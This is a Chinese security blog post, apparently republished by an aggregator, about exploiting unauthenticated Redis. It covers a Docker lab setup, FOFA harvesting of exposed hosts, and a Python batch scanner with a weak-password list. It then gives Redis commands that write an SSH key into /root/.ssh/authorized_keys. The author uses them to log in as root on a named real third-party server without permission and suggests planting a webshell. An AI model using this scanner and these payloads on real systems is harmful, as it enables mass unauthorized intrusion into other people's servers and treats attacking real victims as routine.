zoukankan      html  css  js  c++  java
  • Docker环境复现利用Redis未授权访问漏洞 >> 批量扫描检测利用

    关于Redis

    Redis(Remote Dictionary Server ),即远程字典服务,是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。从2010年3月15日起,Redis的开发工作由VMware主持。从2013年5月开始,Redis的开发由Pivotal赞助。

    漏洞概述

    Redis默认情况下,会绑定在0.0.0.0:6379,这样会将redis服务暴露在公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问redis以及读取redis的数据,攻击者在未授权访问redis的情况下可以利用redis的相关方法,进而成功在redis服务器上写入公钥,进而可以使用对应私钥直接登录目标服务器

    而为什么redis的作者不将默认情况下的未授权访问导致的不安全性问题修改掉,因为作者认为99.99%使用redis的场景都是在沙盒化的环境中,为了0.01%的可能性增加安全规则的同时也增加了复杂性,虽然这个问题并不是不能解决的,但是这在他的设计哲学中仍然是不划算的。

    搭建docker漏洞环境

    在docekrhub上搜索redis镜像

    docker search redis

    拉取镜像到本地

    docker pull redis

    查看下载好的镜像

    运行之,并将容器的6379端口映射到主机的6379端口

    docker run -p 6379:6379 -d redis

    -p 将容器的6379端口映射到主机的6379端口。

    -d 将容器后台运行。

    因为攻击机是Windows,下载redis,并使用redis-cli.exe进行连接

    .
    edis-cli.exe -h 49.235.230.115

    连接成功

    漏洞利用:

    先进行信息搜集

    info

    查看数据库中的键值对

    keys *

    以及可以使用(慎用)该命令清空数据库

    flushall

    或者

    del key 删除键为key的数据

    接着尝试写ssh-keygen公钥然后本地使用私钥登录服务器

    设置redis的备份路径为/root/.ssh和保存文件名authorized_keys

    CONFIG SET dir /root/.ssh

    出现错误

    (error) ERR Changing directory: Permission denied

    在网上查了资料之后,说出现该错误是因为redis没有使用root权限启动,但是当没有指定用户启动docker时,默认的用户就是root,同时进入该docker实例的bash,也可以看到当前用户是root,转了一圈也没找到解决的办法,有的博客说是redis版本的问题,替换redis3.0,redis5.0均无效,故直接劝退,放弃攻击该docker环境

    等啥时候想明白这个问题了再更,也欢迎师傅们一起交流

    使用FOFA寻找国外的暴露redis现实环境,给出FOFA语法

    查找使用指定协议的IP

    查找使用mysql的ip

    protocol=mysql

    查找使用redis的ip

    protocol=redis

    查找使用mssql的ip

    protocol=mssql

    查找使用oracle的ip

    protocol=oracle

    切换目标地区为爱尔兰

    使用FOFA爬取脚本将所有目标都爬取下来并保存在txt中,爬取脚本是以前自己写的:

    https://github.com/Cl0udG0d/Fofa-script

    然后开始运行:

    担心拉取速度过快被ban,所以采用了延时,师傅们如果觉得速度太慢了可以将代码里面的延时改低

    先测试了一下,发现fofa的规则改了,重新改一下爬虫,更新github,然后开始愉快爬取。

    爬取结束之后进行批量验证,这里的代码魔改自bypass老哥:https://www.cnblogs.com/xiaozi/p/7568272.html

    源代码为:

    #! /usr/bin/env python
    # _*_  coding:utf-8 _*_
    import socket
    import sys
    PASSWORD_DIC=['redis','root','oracle','password','p@aaw0rd','abc123!','123456','admin']
    def check(ip, port, timeout):
        try:
            socket.setdefaulttimeout(timeout)
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.connect((ip, int(port)))
            s.send("INFO
    ")
            result = s.recv(1024)
            if "redis_version" in result:
                return u"未授权访问"
            elif "Authentication" in result:
                for pass_ in PASSWORD_DIC:
                    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                    s.connect((ip, int(port)))
                    s.send("AUTH %s
    " %(pass_))
                    result = s.recv(1024)
                    if '+OK' in result:
                        return u"存在弱口令,密码:%s" % (pass_)
        except Exception, e:
            pass
    if __name__ == '__main__':
        ip=sys.argv[1]
        port=sys.argv[2]
        print check(ip,port, timeout=10)

    但是原脚本只能一个个测试,简单加强之:

    #! /usr/bin/env python
    # _*_  coding:utf-8 _*_
    import socket
    import sys
    PASSWORD_DIC=['redis','root','oracle','password','p@aaw0rd','abc123!','123456','admin']
    def check(ip, port, timeout):
        try:
            socket.setdefaulttimeout(timeout)
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.connect((ip, int(port)))
            s.send("INFO
    ")
            result = s.recv(1024)
            if "redis_version" in result:
                print u"%s:%s未授权访问"%(ip,port)
                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                s.connect((ip, int(port)))
                s.send("config set dir /root/.ssh/
    ")
                content = s.recv(1024)
                print(content)
                if "OK" in content:
                    print u"%s:%s .ssh目录存在且权限足够"%(ip,port)
                elif "error" in content:
                    print u"%s:%s 无法写入"%(ip,port)
            elif "Authentication" in result:
                for pass_ in PASSWORD_DIC:
                    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                    s.connect((ip, int(port)))
                    s.send("AUTH %s
    " %(pass_))
                    result = s.recv(1024)
                    if '+OK' in result:
                        print u"%s:%s存在弱口令,密码:%s" % (ip,port,pass_)
        except Exception, e:
            print e
            pass
    if __name__ == '__main__':
        doc = open("hello_world.txt", "r")
        lines = doc.readlines()
        for ip in lines:
            #print(type(ip))
            print(ip.strip())
            check(ip.strip(),6379,timeout=10)
            #print(type(ip))
        doc.close()
    

     运行之

    因为是国外的IP,就不进行打码了。

    redis链接

    尝试写ssh-keygen公钥登录服务器,本地生成公私钥后

    config set dir /root/.ssh/
    ​
    config set dbfilename authorized_keys
    ​
    set x "
    
    
    公钥内容
    
    
    "
    ​
    save

    可以看到这两个服务器有两个不同的报错,分别是:

    (error) ERR Changing directory: Permission denied

    以及

    (error) ERR Changing directory: No such file or directory

    第一个报错是我们之前docker搭建的时候遇到的,也就是未使用root权限启动redis,第二个报错是因为目标/root/.ssh目录不存在,不存在的原因是目标未使用过ssh密钥登录过服务器,只好对其他IP进行尝试

    另外还可能出现的一个错误是:

    (error) ERR unknown command ‘config’

    当出现这个错误,代表redis服务端有做禁止config命令的配置

     

    简单测试后找到一个存在漏洞的IP:

    3.17.131.13

    使用之前的命令:

    config set dir /root/.ssh/
    ​
    config set dbfilename authorized_keys
    ​
    set x "
    
    
    公钥内容
    
    
    "
    ​
    save

    在之前生成本地公私钥的目录下执行:

    ssh -i id_rsa root@3.17.131.13

    服务器登录成功

    另外在查资料的过程中,发现部分服务器报错

    -ERR Changing directory: No such file or directory

    的原因有可能不是linux服务器未使用密钥登录,而可能是目标为Windows服务器,肯定就没有 /root/.ssh目录了,可以使用

    config get dir

    或者

    info

    等命令搜集目标信息,确认其操作系统进行进一步渗透

    另外对于

    (error) ERR Changing directory: Permission denied

    错误,可以尝试在其WEB服务目录写入一句话木马从而getshell

     

    参考链接:

  • 相关阅读:
    pandas DataFrame 数据处理常用操作
    host文件配置 了解
    安装Spring+搭建Spring开发环境
    java 环境配置 maven 环境配置
    Hive SQL 常见问题(转载)
    小结
    SQL 将两个结构相同的表合并到成一个表
    用户画像--初步了解
    hive 提取用户第一次浏览/购买 某商品的 时间
    ES2017 keys,values,entries使用
  • 原文地址:https://www.cnblogs.com/Cl0ud/p/13873085.html
Copyright © 2011-2022 走看看